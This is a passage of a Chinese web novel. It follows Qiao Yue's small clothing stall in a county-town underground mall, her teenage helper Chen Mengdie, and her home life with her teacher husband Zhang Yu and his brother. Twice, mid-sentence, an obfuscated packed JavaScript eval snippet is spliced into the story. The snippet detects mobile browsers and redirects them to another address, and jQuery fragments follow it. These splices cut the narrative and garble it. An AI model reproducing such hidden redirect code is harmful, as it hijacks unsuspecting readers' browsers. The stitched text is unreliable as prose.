要不是让她抓个正着,她还指不定要编谎话骗她到什么时候呢。 乔月马上变脸撵她走,说她最讨厌别人骗她了。其实就是说辞,因为乔月也经常编瞎话骗别人。主要因为现在正式开业了,她要自己全程盯着,就算陈梦蝶工资开得很低,那她也不想雇了,得卖好多件衣服她的工资才能赚回来呢。 陈梦蝶忽然哭着求她,这孩子平时总一副放荡不羁的模样,没想到生活还挺苦,爹妈离婚了没人管,学没上几年,一直在叔叔家当小保姆带小堂弟小堂妹,小堂弟小堂妹大了不用管了,他们就琢磨着把她嫁出去,收一笔彩礼,陈梦蝶今年才十六,还没法办身份证呢。 她就跑出来了,跑到县城,到处打黑工,因为没成年没人罩着,还总挨欺负,克扣工钱。好不容易攒点钱,又神经病一样忽然有了什么音乐梦,买了把吉他,其实还报了个班,但老师收了钱没上两节课就跑了。 乔月是觉得她挺可怜的,但这世界上可怜的人多了,而且在她看来,吃饱饭才是最重要的,梦想什么的那都是有钱人追求的。好吧,就算没钱,那应该最起码也得有点才华吧,恕她直言,陈梦蝶的创作就如同一摊狗屎,稀不稀黏不黏的,靠近了还挺臭,上班时候乔月从不让她唱。 乔月觉得她不自量力。 不过倒是给她宽限了两天,让她再找找工作,找个包吃住的。甚至她还好心地问了问前室友饭店还招不招人,那里还真缺个洗碗工。没想到陈梦蝶还嫌弃上了,她说她手是圣洁的,不能碰那些油污,得留着创作的。 狗屁,再圣洁的手不也得自己擦屁股吗,擦完还得再折一折。 乔月让陈梦蝶早点从她这儿滚蛋。 主要是她也怕摊上事儿,万一她叔叔什么的追到她店里来,那她不麻烦了吗,乔月讨厌别人给她惹麻烦,她自己的麻烦事还干不完呢。 结果这儿陈梦蝶也是运气好,有回乔月进货时候老板不肯给她,嫌她进得少,挑的货又靓,除非搭上一包丑开衫才行。乔月觉得那包开衫特别丑,亮黄色亮绿色亮粉色,要是丑人穿上了,那得丑得多抢眼啊。 嘿,但没想到这种开衫莫名其妙就火起来了!丑不垃圾的颜色都有个好听名字,叫什么?糖果色! 这世界真是稀奇! 刚挂上一上午就全卖出去了! 乔月心底激动得不行,她第一回见到这么多钱,好些小姑娘组队齐嗖嗖地朝她这儿来,还有逃课跑出来代买的,一买就买好几件! 但只卖了两天,等她第三包货捎回来,地下商场的所有档口就都挂上这种糖果色的开衫了,价格也都比着往下降,一件开衫也就赚十块钱。 乔月气得要死,心急火燎地在地上走着转圈,搁心底骂别人都是学人精,见样学样葫芦瓢样儿。忘了别人上了流行的款,她装模作样找人聊天,下回马上就进了相同的款。 不过她们地下商场就是这样,你学我我学你,大家都大差不差,吃不撑谁也饿不死谁,所以表面上一般都是其乐融融的,但也有揽客打架的,乔月有时候爱一边嗑瓜子一边看热闹。 她也不是那种不分青红皂白就骂人的,一般都是别人惹到她她才反击。做生意时候她就更宽容了,毕竟那都是来给她送钱的,顾客是天顾客是地,乔月在店里从来都笑得如沐春风,经常有顾客夸她脾气好呢。 吃了第一次螃蟹,乔月是第一回感受到了赚钱的容易,那两天她脚都不着地,一个人肯定忙不过来的,陈梦蝶就留下来了。她其实气质不错,平时坐在店里,还挺唬人的,尤其是她身上穿的款,来的人就算不买,也会问问。现在的小孩都喜欢特殊的东西,陈梦蝶说这是反叛,反叛精神,对这个肮脏的糟糕的世界的宣战。 乔月觉得她有病,一件衣服,哪有那么多乱七八糟的事儿。 不过还是留下陈梦蝶了,陈梦蝶租了个不见光的地下室,答应再不偷偷住库房,再住不用乔月说,她自己就滚蛋了。 乔月就把她手里的商场钥匙收过来保管,她花两盒烟从管关大门的老头子那借过来自己偷偷配的,真是够胆大的。 乔月躺在地上累得一根手指头都懒得动,她闭上眼睛,又回味起那两天的日子,那两天她每天都要算三回账。第一回用计算机,听着上头清脆的报账声,第二回是手算,她一个一个加起来,再减去进货价,第三回是心算。别看她文化水平不高,但算数可好了呢,自己卖羊绒羊肉羊羔都要算数脑子好使,不然容易被人诓骗。在村里每到卖棒子时候都请她去算账,她从没出过错。 然后她就久久盯着计算器上最后刨去进价剩下的数字,心里美得不得了。 她觉得自己是世界上最幸福的人了。 她真想拿着喇叭跟全世界宣布,真想马上跳到学校把张宇叫出来,真想狠狠甩到吴阳脸上,真想…… 但其实她什么都没干,因为本来就不是一笔很大的钱,也就一个月房租,但乔月就是高兴,美得找不着北了。 她谁也没说,因为她最怕别人跟她借钱,她也不会借给别人一分一毛钱,只是把账本推到抽屉最深处,锁起来。 然后再顺便跟陈梦蝶哭个穷,说本都要亏没啦。 陈梦蝶在心底翻了好大个白眼,乔月最爱装穷了,谁不知道她这几天进了一批好货,卖了不少钱,再说,她就在旁边站着帮忙呢。 之前小老板带的乔月是去南方拿货,乔月去了一回,感觉很不值,因为火车费货物托寄费用都太高了,毕竟她这儿就一小店,可折腾不起。那小老板家里富裕,有钱,不指望这店活着,可以这样搞,她可不行,于是她就自己琢磨。 在这儿卖衣服的都特别雷同,很多款式你转一圈,谁那都有,流行的就更别说了,跟同一个地方批发的似的。 其实也差不多,因为大家都在一个地方批发的,在省会一个叫白石沟的批发市场,早上坐五点车去,她们这到省会的车两天一趟,要坐四五个小时,然后转车到批发市场就中午了,中午时候人最多,挤着挑两大包货。货商生意做得大,都有物流合作,一般也是那种带行李舱的长途客车,不过当天不一定能送去,所有有时候就人货分离,过几天货才能到。 乔月厚着脸皮跟人跑了两趟,因为没人爱带新人,谁都有自己的货源,哪的进了好卖,哪的能压压价,谁更讲诚信……这都是商业机密。 乔月觉得那的货有点太容易撞款了,就又打听,听说还有人去北京动物园进货,但是人少,她们这儿到北京的车也少,几天没有一趟,发车还晚。那就得在北京住一晚,乔月可舍不得。她就自己琢磨出办法,跟人拼车到北京。她们这有不少在北京干工程的,会拉工人去北京,捎上她比班车还便宜呢,因为他们人有时候也凑不齐。那种车虽然破破烂烂,是面包车,但很正规,因为要进京,进京是要查身份证驾驶证过检查的,乔月每回都找安全带好使的座位,她特别惜命。 他们出发还早,这正合乔月意,早到就能早挑货,四点出发,不到十点就到北京了,乔月第二回去就学会了坐地铁,嗖嗖的,可厉害了。 就是她店小,进的货就少,好多店家都爱搭不理的,不过乔月每回都推个车,再拿个大袋子,装作是有大店的模样,一张嘴就先少拿一批回去卖卖看,自己在哪哪哪有多少多少家店,之前有固定合作的,不干了,现在想找找新的合作商家,砍价还特别恨。 没两回就让人记住了。 不过这儿的人都是真话假话掺着说,谁也没比谁高贵。 很快乔月也有面熟的了,她抢完货,就用胶带缠得严严实实的,寄存在人家那,自己出去逛几圈,看看城里人都怎么穿的。 她算是发现了,什么东西其实都是从大城市开始流行的,然后到省会,再到市里,然后才到县城,再往下就是乡镇了。有时候她在北京看着觉得好奇怪的东西,没两个月,小县城也有了,而且奇怪的人多了,好像就没有那么奇怪了。就比如那种一蹲下来就露两个屁股蛋的低腰牛仔裤,她这回甚至专门进了一大包带假钻英文字母的亮片腰带,因为她瞧见有人这样搭配着穿,还挺好看的。 但是她不放心批发市场的物流运输,因为那样有丢货的风险,运气不好还会遇上调包,尤其是她们这种散客,小客,吃了亏都没地方说理去。不过最重要的还是价格,她觉得运输价格贵,她有时候卖出去一件衣服才赚十几块钱,到了星期一二的一天也卖不出去几件,所以她就自己扛。 从北京坐火车到市区,然后从市区转汽车到县里,市区到县的车最晚那趟是晚上五点的,她掐着点正好赶上,就是累,这一天从早上三点多睁开眼就连轴转。 所以到了现在,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502336|202807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指头都伸不直了,好想现在直接闭上眼睛呀……多舒服…… 迷迷糊糊的,乔月真想一点儿货都不理,闭上眼先睡一觉。 睡觉……睡觉…… 乔月觉得现在能睡上一觉真是世界上最幸福的事情了。 她眼睛不自觉地合上,头顶的灯管都变成重影模模糊糊的了,商场的灯都是统一的,是那种照在地板上反光,照到镜子里惨白的。乔月特意去建材市场挑了个灯管,还换了两回,才挑到她觉得顺眼的。这样灯就变成暖白的了,镜子里的人气色也好不少,外面看着一样,但走进她这儿来,莫名其妙就有一种亮堂的感觉。 直到。 天多高路多长心有多大…… 乔月这回特意买了个小音箱,因为她的那个收音机真是坏了,坏得透透的,怎么拍打也没声儿。她还让店家下载好现在最流行的歌曲,回程的时候一直听,直到听没电自动关机了。现在充上电,小音箱就忽然自己唱起来。 乔月一骨碌坐起来,眯了也就有五分钟吧。 她拧开饮料,是她在车站买的一瓶冰红茶,太忙了,都没来得及喝两口。因为货在班车后备厢,所以有谁下车她都得下去看一眼,她们这儿有人的货就是那样不知什么时候让人顺走的,总之丢货的事儿特别常见。 哎,买的时候还带着水珠呢,那会儿多好喝。 现在入了夏,天热起来,乔月本就怕热,再加上关门之后地下商场的空气很闷,总有一种好像什么东西嗖了的味道,让人喘不过来气,饮料又不凉,乔月就有点不舒服。 瓶盖不小心从手心滚下来,咕噜咕噜咕噜一路滚,乔月烦闷地捡起来。 “再来一瓶!耶!我运气真好!” 乔月开心起来,再加上休息一会儿了,身体好像没那么累了。 她用小刀小心地把那大包割开,里面的东西就噼里啪啦涌出来,那包裹看着没那么大,但压得很瓷实,很重。 她在里面挑挑拣拣,拿出一个纸盒来,为了节省地方,这些都是塑料袋装着的,但却有一个纸盒,乔月用纸巾擦了擦手,打开,把里面的衣服挂到了最显眼的地方。 这是一套西装裙,电视上坐电梯上大楼噼里啪啦摆弄电脑键盘的白领都穿这种西装裙,料子摸着很厚实,板型特别挺括,乔月把衣服摆正,扯了扯裙摆,然后后退两步。 真好,真好看。 乔月下午饭吃了一大碗面,加了鸡蛋加了鸭脖还加了火腿肠,但现在又饿了,她就摁碎一袋方便面,然后把调料倒进去,晃一晃,大嚼起来,干了就喝两口冰红茶,那可是中了再来一瓶的冰红茶。 此时的地下商场特别安静,安静到好像都能听到头上灯管嗡嗡嗡的声响,也特别漆黑。 但乔月一点也不害怕,她抬头看了看正中间挂着的那件西装裙,觉得自己的档口一点儿也不小。 乔月把货分门别类放好,倒不用她挂,明早陈梦蝶来了就会挂。然后又把最后一个包裹拆开,里面装的是她挑的项链手机链腰链什么的,她跟那老板混熟了,几种货能一起拿,按斤称重,很实惠。而且款式还好,就比如这回有很多贝壳手链,别说那些学生小孩了,她都喜欢,就先给自己叠戴上两串。 她们这儿离海特别远,乔月从没见过海,记得好像听谁说耳朵靠近贝壳就能听到海的声音,乔月耳朵贴近手腕,啥都没听见。 乔月最后又转一圈检查了下垃圾,把放在角落里蒸发干净的固体清香剂拿走,这是茉莉味道的,乔月就喜欢与众不同,把自己的小店跟别人的烂店区分开来。 但其实都差不多,她的审美可没高级到哪儿去。 陈梦蝶经常在心底这样编排。 回家的路特别安静,月亮很大,特别清亮,乔月的影子十分清晰。 她身上的汗被凉风一抚就干了,她把外套脱下,里面穿的是一件背心,因为这一天太累了,腋下的汗渍颜色比较深,乔月觉得又累又舒服,但还好拐个弯就到家了。 但到家门口了,瞧见有个人正蹲在她家门前。 “好啊,让我逮到了吧!你妈是大耗子,你是小耗子,你往我家地里放什么呢!” 乔月一生气,马上就精神了,上前一步抓住李书明的胳膊就往出扯。 她以为隔壁不会再闹什么幺蛾子了呢,怎么这么久了,还敢打这片地的主意。 “我、我不是……我、对不起……” 李书明低着头止不住道歉。 乔月也愣住了,因为她手里攥着一把草。 她最近忙,没时间打理她的向日葵了,她爱嗑瓜子,门口和院里靠墙边全都种上向日葵了。 这孩子有毛病吗。 “你有病啊?” 乔月脱口而出,又觉得自己太戳人痛处了,就委婉一点。 “你有梦游的病啊?” “我不是,我就是看这儿长草了,我、我喜欢植物,对,我喜欢植物,我见不得地里长草。” 乔月心想那草不也是植物吗。 算了书读得多的人都有点奇怪,听说这小姑娘学习还挺好的。 “行了快回去睡觉吧,以后没事可别——别梦游了啊。” 乔月特别把梦游两个字咬得很重。 她累死了,就想回去睡觉,没空搭理小孩儿。 李书明羞愧的脑袋要埋进土里了,因为她妈理所应当种张老师家地又不归还,她觉得很羞耻,看得出乔月很重视这片向日葵,经常拔草浇水,所以这次长了草她就想着给拔了,给乔月省点事情。但她怕乔月,不敢白天做,就特意半夜起来拔,但谁能想到…… “行了快回去睡觉吧,以后没事可别梦游了啊。” 乔月把人打发走,她现在就只想大睡一觉。 8. 第8章 “哈哈哈哈,怎么这么逗!” 乔月坐在板凳上,一边吃面一边目不转睛盯着桌子上的DVD,这是隔壁的隔壁的隔壁档口的,乔月因为人家有DVD,特意跟人家打好关系,人家未必想跟她打好关系,但伸手不打笑脸人,又不能让她端着她的麻辣烫赶紧滚蛋。 “哎,这麻辣烫可好吃了,尤其是这黄面,口感特好,还有这麻酱,来你夹一口……你快夹一口……” 人家比乔月早干好几年了,商场周边的小吃全都一清二楚,这麻辣烫没吃过一百回也有八百回了,还轮得上她来介绍?搞笑。 “不用不用……乔老板你自己吃吧,我最近胃不好,不吃辣。” 乔月觉得这人太可怜了,咋还能胃不好呢,胃不好就不能吃很多美味食物,那也太悲惨了。 见乔月用一种十分怜悯的眼光盯着自己,她真是被这没眼力见的人气着了。 “中午我想眯一会儿,你要看拿回你那儿看吧。” 那人说得有点阴阳怪气,乔月屁股跟长在她这儿了一样。 “真的吗!那太谢谢你了!你真是大好人!” 乔月兴奋得都找不着北了。 “陈梦蝶,陈梦蝶快过来拿DVD来……” 乔月大喊着,早听陈梦蝶磨叨过这个电影了,陈梦蝶也特别想看,但因为租了房子,又要吃饭,就没那么多钱去网吧了,所以这个碟片就迟迟没看上,她没乔月那么厚脸皮。 “我来了来了!真的吗!我的祈祷起作用了!谢谢谢谢!” 陈梦蝶一阵风一样跑过来。 DVD的主人气得够呛,她们摊位就俩傻X,大傻X和小傻X。 “反正要是坏了原价赔偿,就是不知道你们赔得起赔不起了……” “您放心!我们一定供起来!看之前我们先磕两个头!” 有病啊,谁需要她们磕头,她们磕头值钱吗! 俩人喜滋滋地就回去了。 回去看电影。 “我猜这人最后一定是大坏人。” “不可能,她多好,连鸡都不敢杀。” 乔月吸溜一口麻辣烫,然后顺手给陈梦蝶挑过去一柱方便面,陈梦蝶是真的穷,她等着乔月吃完了用馒头蘸麻辣烫汤。 “对啊,就是要有反差,前面有多好,后面就有多坏,电影就是要把好人写坏,坏人写好,这样才有深度。” 陈梦蝶煞有介事地分析着,小心挑一口乔月给的方便面,然后狠狠咬一大口馒头,这样就好像这一大口馒头都变成了麻辣烫里的方便面。她最近刚买了调音器和换了弦,存款又要清零。 “哼。” 乔月鼻子里哼了一声,她不认同,她觉得到结局这个人也不会变坏的。 “月。” 这时候忽然有人叫乔月的名字,她抬起头,有点尴尬。 因为前两天张宇说张黎生日到了,他们出去吃,去饭店吃个面也行。 乔月拒绝了,说衣服卖得不好本钱都回不来啦什么什么的,要吃他们哥俩去吃就好了,她在家里吃。 张宇当然特别心疼,然后把自己做生活费的那部分工资也拿出来了,一并给乔月。 然后她现在就在吃麻辣烫。 “月,你怎么吃这些?” 乔月真的有点尴尬,她上回只是随口说说,因为哭穷就是她的生活习惯,她对着谁都哭穷,没想到张宇当真了,还真不出去吃了。 “我……” 陈梦蝶马上靠边站,她可算是见着这位“大名鼎鼎”的老师了,没认识乔月之前,陈梦蝶都不知道教师这职业是这样的大名鼎鼎呢。说实话,长得也很一般,一股子书生气,一看就是特没劲儿的老实人。不过应该脾气不错,也只有脾气不错的人才能忍受得了乔月了。 “你这儿怎么还有个小男孩?他是谁?” 陈梦蝶刚还看热闹呢,哪知道张宇转头就问到她身上,她在外面也不是个好惹的善茬,一张嘴就想问候回去你眼瞎呀。 还好嘴巴没那么快。 乔月笑起来,笑得嘴里那口麻辣烫差点儿没咽下去,直咳嗽。 “什么小男孩呀,她是女生!女生!是帮忙看店的,我亲戚家的小孩。” 因为陈梦蝶没成年,乔月对外面都说她是亲戚家小孩。 “哦哦,陈同学对不起,对不起。” 其实也不怪张宇,陈梦蝶最近不知道又追什么潮流,头发剪得很短,甚至后脑勺有的地方都剃光了,再加上她瘦,又爱佝偻着身子,有时候冷不丁看见真以为是小男生。 “月,你怎么能吃这些。” 乔月还没笑够呢,张宇话题又转到她身上了,但现在乔月已经没有刚开始的心虚了,现在很理直气壮,她刚要说她最近有多多辛苦呢。 张宇把手里拎着的东西放到桌子上。 “你别吃那些,那些都有很多添加剂的,对身体不好。今天食堂有排骨玉米汤,我打了一份,想拿过来给你尝尝。” 最近上级教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502337|202807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 育部门来他们学校学习调研,要在食堂吃工作餐,连着他们伙食也好起来,同事都说这个排骨汤特别好喝,张宇就没舍得喝。 “啊?哦……” 乔月愣住了,然后紧接而来的是心虚,哎,是她狭隘了。 “谢谢,你对我可真好!” 乔月麻辣烫吃得很饱了,但她胃口大,挤一挤还是有的,就把肉捞出来吃,不过本来也没几块,吃不下就给陈梦蝶了,她什么都蘸着馒头吃。 陈梦蝶真是如获至宝,老师真是最伟大的职业!她再也不嫌弃乔月天天说了! 乔月把张宇送出去,她在这看店时候经常跟人胡说八道,有些话自己前脚说完后脚就忘了,反正大概就是炫耀,所以不想让张宇出现在这。不过最主要原因还是她觉得这里是她的安全地,不希望张宇踏进来,踏入她工作的地方。就像她想让张宇开课外收费班,好多老师不都这样做吗,寒暑假搞一搞,收的钱赶上一年工资了!但张宇说什么也不答应。 彼此不干涉,多好。 谁的都完全属于谁。 “月,是因为我很丢人吗?” 张宇忽然就敏感了,耸着肩膀拎着那个饭盒,跟个可怜鬼一样。 “啊?” 乔月愣了一下才反应过来,她也不能说因为平时说了你很多大话,怕这会儿被人拆穿尴尬。 脑袋一转就小声贴张宇耳朵说。 “什么呀,还不是王美丽,她那个蠢闺女特别笨,考不上一中,最近老缠着我想让你帮忙能不能暗箱操作,你说分数这种事儿咱们小老百姓咋插得上手?快走,别碰到她!” 乔月拥着张宇往外走,她随口胡说的,只想把张宇快点打发走。 “是会有,是会有一些择校生的,如果差的分数不多,可以花钱买,等分班时候我——” 张宇是真在真心实意想办法。 乔月用力推他,恨不得一使劲把他推回学校,但还是被人拦住了。 “呦,你就是乔老板老公啊,光荣的人民教师?乔月可没少提起你。” 张宇是真的反应很慢,他一点没听出对面女人的阴阳怪气,反而捕捉到乔月老公两个字,笑得很和善。 “您好,我是张宇。” “哈哈,还您好,倒是文化人,我是王美丽,你下个月发了工资,千万记得给你们家乔月买了DVD,省得抱着别人的不撒手!” 乔月好像听到有什么东西碎掉的声音。 可能是她的面子吧。 9.第9章 现在入了夏,乔月每天早上起来第一件事就是给自己的向日葵浇水,等秋天葵花子长好了,她就能炒瓜子吃了。 但现在葵花脑袋还皱巴巴一起,像小孩拳头那么大。 刚来县城时候有段时间她对自己未来的职业规划就是卖炒瓜子,冬天推个烤红薯车,一边卖炒瓜子花生,还有冻海棠果跟冻梨。因为那段时间她在溜冰场前台看鞋,每回下班都饥肠辘辘肚子直叫。但工资没下来,她只能回租房地方煮方便面吃,所以路过那个烤红薯摊位时候就趁机慢慢走路,多闻一会儿。 烤红薯味真的真的好香,尤其是在寒冷的冬天晚上,哪哪都结冰,地被冻得硬邦邦,香香的烤红薯味就像是化成了实体的线一样,不知不觉就把人引到红薯摊前,暖烘烘,香喷喷,热腾腾。有时候下毛茸茸小雪,在昏黄的路灯底下雪花落得特别慢,跟长了翅膀一样,穿得厚厚的老大爷拿一把小扫帚,把落在冻梨上的雪花轻轻掸走。 乔月每回都跟老大爷打招呼,希望因为自己热情活泼有礼貌,老大爷能免费送她半个烤红薯,当然没有,老大爷用看贼似的目光看着她,怕她偷他海棠果。 有的小孩欺负他眼睛不好使,反应慢,有时候过来抓上一把就跑,所以他对所有人都很戒备。 不过时间久了,他是送给俩破了的冻梨的,乔月那会儿工作特别不稳定,在哪都干不了两天,一看就很穷,最后也没舍得买根烤红薯。 等她在地下商场卖衣服稳定了再去,那个拐角那烤红薯的老大爷也不在那了,因为那时候冬天过去了。 老大爷跟乔月说,夏天他卖沙果,骑着三轮车大街小巷地卖沙果。 哎,那她们缘分尽了,因为乔月不爱吃沙果,只能等下个冬天了。 乔月浇完向日葵就蹲在院子里刷牙,今天周日,张宇带的是高三,高三没假没周末,只有周日下午学生能休息洗头洗衣服出去洗个澡什么的,晚上还得回来上四节晚自习。好些高中生是下面乡镇考上来的,几个月都回不去次家。原本这一届他应该松口气从头带高一的了,结果有个高三的数学老师得了乳腺癌刚做完手术,没精力带不了了,学校就又让他带高三,他是最好说话的老师,遇上这种事情也不知道怎么拒绝,反正不管工作还是生活中,他都吃了不知道多少亏。 不过张宇觉得关于学生的事情就不能算吃亏,之前那个老师身体一直不好,确诊那段时间不得已经常请假,学生落下很多,他也是愿意接手的。 张黎今年是高一下半年,高一周六晚上放假,周日去上晚自习,平时都住校。他们这个学校就是封闭式的住宿学校,隔壁那女生也是这个学校的,乔月每回看着他们都在心里琢磨,哎哟,可真苦,反正她做不到冬天五点起床,十一二点睡觉,甚至更晚。因为隔壁特别爱炫耀她闺女学习多多刻苦,据说晚上不睡觉偷偷去厕所做题。 怪不得那么瘦,又黑又瘦的。 但周末张黎经常不在家,乔月也懒得管他去干嘛了,反正只要不惹到她就行,乔月有时候都会忘了家里还有他这么一号人,跟个幽灵似的。 “呼噜噜噜——” 乔月蹲在台阶上刷牙,吐水时候仰头看见不远处挂很高很高的广告板,这两年这座小县城忽然开始到处盖楼,那块地方据说要盖个几十层的大高楼,打造整个县城最豪华的小区,叫裕和之眼。 乔月觉得开发商挺有病的,上海打造个上海之眼,北京打造个北京之眼都能理解,她们这一百八十线开外的贫苦县打造什么眼?她们县就叫裕和县。 不过她还是挺羡慕去售楼处排队买房的那些人的,住那么高的房子,能把云彩都踩在脚底下了吧,乔月去北京时候看到那些高楼大厦,都觉得眼晕,昏得慌。 “哗——” 乔月把嘴里的水吐了,站起身,她牙膏新买的,薄荷味的,有点刺嘴,凉飕飕的,但是感觉每颗牙齿都被照顾的干干净净。 哎,要是什么时候哪个开发商相中她们这片儿地就好了。 现在是夏天了,但早上水还是有点凉,她们用水是那种压井,地下水直接压出来。乔月压出来半盆凉水,然后兑上暖壶里的热水。她其实觉得水不怎么凉,但隔壁档口的老板夏天都吃不了冰棍儿,天天念叨手指关节疼,她那手指就跟天气预报一样,只要一疼,第二天准变天。她说是因为生小孩坐月子时候碰了凉水,落下的病根。乔月听了之后就有点害怕,暗自决定要少碰凉水,她可不想夏天吃不了冰棍儿,所以早上就用温水洗脸了。 她把洗脸盆搁到洗脸架上,还有点愣,她在早上睡醒时候都是0.75倍速,如果可以,她真想只上下午班,但是今天是周日,让陈梦蝶一个人看店她不放心,万一偷昧她钱咋办。 哐—— 张黎出来了,那小偏房的门也不好用,每次都要用力顶一下才能推开。 张黎从小屋出来,冷不丁跟乔月对上视线。 “嫂子。” 他叫了一声。 乔月还有点愣。 张黎眯着眼睛,因为早上的阳光特别清透,像是没经过什么臭氧大气层直直就照到大地上来了,很晃眼睛。 乔月觉得这哥俩肯定都缺什么维生素ABCDEFG。 然后他打开水龙头。 是的院里也有水龙头的,但这个是记水字的,每个月有人来抄水表,要按字交水费,不像压井,不用花钱。 乔月有点不高兴了,不当家不知茶米贵。 哗啦啦的清水从水龙头流出来,张黎弯下腰。 他个子很高,乔月估摸着得有一米八五,所以面对这种统一安装的,方便做饭取水的水龙头,腰要弯得很厉害。 他还穿着校服,不知道为什么他这么爱穿校服。乔月卖衣服时候经常接触到很多年轻小孩,不论男女,都 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“你这裤筒太肥了,应该扦一下,改瘦点,你脱下来我拿店里给你改,五块钱。” “什么?” 张黎刚捧两捧水浇到脸上,水声哗啦啦的,沾湿鬓角的几缕黑发。水珠顺着他的脸往下滑,还有几滴落到领子上,天蓝的颜色变得很深,洇出水印。 “我说,别人改校裤五块钱,我免费给你改,谁让我是你嫂子呢。” 乔月笑,觉得太阳太大了,嗓子有点干。 奇怪,这个年龄的小孩不都应该满脸青春痘吗,他脸上怎么这么干净,什么都没有,白皙得不像话。甚至因为过白,皮肤薄,受到一点凉水的刺激,面中和眼皮就有点泛红,手指关节也是。 这点他哥俩倒是有点像。 张黎眯着眼睛用很…… 乔月不好形容那种眼神。 张宇的眼睛很好看,他的瞳仁很大,眼白很清,睫毛又纤长,是一种很安静的,祥和的好看,在某些特定场景下会显得六神无主,像是谁都能伤害他一样,让人着迷。 张黎就不是了,他的眼神很冷淡,掀起眼皮冷不丁看人时候像是在蔑视,再加上他唇色淡,脸又窄,莫名给人一种压迫感。 切,不就一个小破孩,毛都没长齐呢。 乔月觉得他长大了一定是阳痿性冷淡。 乔月一边在心底嗤笑,一边又不自觉多看了两眼。 他鬓角上还挂着一颗水珠,阳光一照亮晶晶的。 上天真不公平,怎么有人洗个脸就跟拍电影一样啊。 “不用,谢谢嫂子。” 切,真是不识好歹。 乔月撇撇嘴,觉得自己就是多余问。 然后他转身就走了。 乔月决定等张宇回来就跟他如实禀报,他弟弟放假不学习,整天往外跑,谁知道跑外面干什么去了。 10.第10章 “陈梦蝶,你是不是又乱用店里东西了?” 这不明摆着呢吗,她那耳朵骨上头又多了个钉子。 “没有。” 陈梦蝶懒洋洋打了个哈欠,昨晚没睡好,她在垃圾桶捡了只三脚狗,原本是四脚的,但让耗子夹给夹掉半个脚掌。 她那会儿正蹲在垃圾桶旁边捡菜呢,她租的地下室旁边是县城最大的菜场,几个垃圾桶转转总能有收获,她原本没这种意识,天天煮面条,方便面调料泡米饭,反正肚子胀了就行,涨了就是饱了。 乔月在倒闭书店花二十块钱买了一大沓杂志,特别厚一摞。乔月自己拎不动,这是胡说,她力大如牛。因为只要跟这种吝啬的小市民产生雇佣关系,那么但凡有什么事儿,一定得你来做。乔月特意去公共电话亭给隔壁店铺的人打电话,让陈梦蝶来接她。 就是有DVD那家,王美丽家遇上拆迁,特别富裕,什么时尚电子产品都有,乔月自己不舍得买电话,碰上要留电话时候就留王美丽的,她好意思,陈梦蝶都不好意,陈梦蝶觉得早晚有一天她们俩得挨王美丽的揍,大揍一顿。 乔月边走边侃侃而谈,说要把小店打造得高端有素养,跟别的低端店铺区分开来,乔月觉得她让人坑了,没有人是来地下商场卖衣服地方看书的,除非那个人脑子有问题。再说买几本垃圾书跟高端有素养有啥关系。 那厚厚一沓书平时就放在收银台最显眼的位置,结果没一个来买衣服的人翻,没有一个人。 乔月不高兴了,她的客户群体怎么不翻翻杂志呢,她就自己看,不翻不知道,饶是她乔月这样智慧的人,也被人骗了。 除了最开始最底下几本是正经杂志,中间夹杂的都是男科痔疮老公不行怎么办,这乔月熟啊,商场门口天天有大姨发,你不领还不行,直接塞你车筐里。 乔月气死了,她又让陈梦蝶拎着这厚厚一大摞书再去那书店,她要退货!竟然骗到她头上来了! 结果人家做知识的就是比她们卖衣服的说话算数,说倒闭清仓,人家是真倒闭!真关门了! 大夏天,下午两点,两个人,一身汗,拎着那厚厚的垃圾杂志,站在新开的眼镜店前面面相觑。 折腾这好几趟,乔月就请陈梦蝶吃了一根五毛钱的小布丁。 世界上怎么有这么抠门儿的人。 本着每一分钱都不能浪费的原则,乔月开始自己研究那一摞杂志,她小学文化,不认识的字问陈梦蝶,陈梦蝶搞创作时候还得查字典呢,两个人文化水平加一起初中都毕不了业。 不过又不是一个字不识,乔月的人生格言就是一行字只要认识五个字以上那就算全认识。文言文不算,文言文不是给活着的人看的,乔月是这样认为的,认识多少字不重要,能理解意思最重要。 乔月最近沉迷那些盗版杂志的一个叫走进健康的专栏,忽然开始关注什么绿色饮食,膳食搭配与平衡,整天像中邪了一样念念叨叨。连她最爱吃的板面都不吃了那还不算中邪吗。因为书上说了,牛肉板面之所以那么好吃是因为面汤里加了罂粟壳,才让人上瘾的。 她还整天跟陈梦蝶说,照陈梦蝶这样吃法,到不了五十岁,不是糖尿病就是脑梗,糖尿病脚要烂掉的,脚烂就是烂水果的味道。脑梗是脑袋一些区域会硬化,没准儿会随地大小便。哦还有可能肝硬化,因为陈梦蝶有时候喝酒,还是那种便宜的散酒,肝硬化会尿不出来尿。 如果有人跟陈梦蝶说,她以后会坠楼身亡,双臂像折翅的蝴蝶一样,翩然跃下。或者溺亡,长发如同海藻漂浮在大海。她不觉得有什么,甚至隐隐期待。可她不想脚烂掉,随地大小便,尿不出来尿。 所以陈梦蝶半夜翻来覆去睡不着,披上衣服就去垃圾桶翻菜了,她需要绿菜叶,包括她最讨厌的菠菜,菠菜很容易烂,黏糊糊烂她一手,但有半棵花菜还不错。 陈梦蝶觉得自己运气还不错,然后听到垃圾桶里有很哑的哼唧声,是一只狗,农村里最常见的那种土黄色小狗。它有只后脚让老鼠夹子夹掉了,也没掉,半掉不掉的,总之在很努力向上攀想爬出垃圾桶。垃圾桶还扔着几条烂鱼,夏天,用不了多久就臭了。 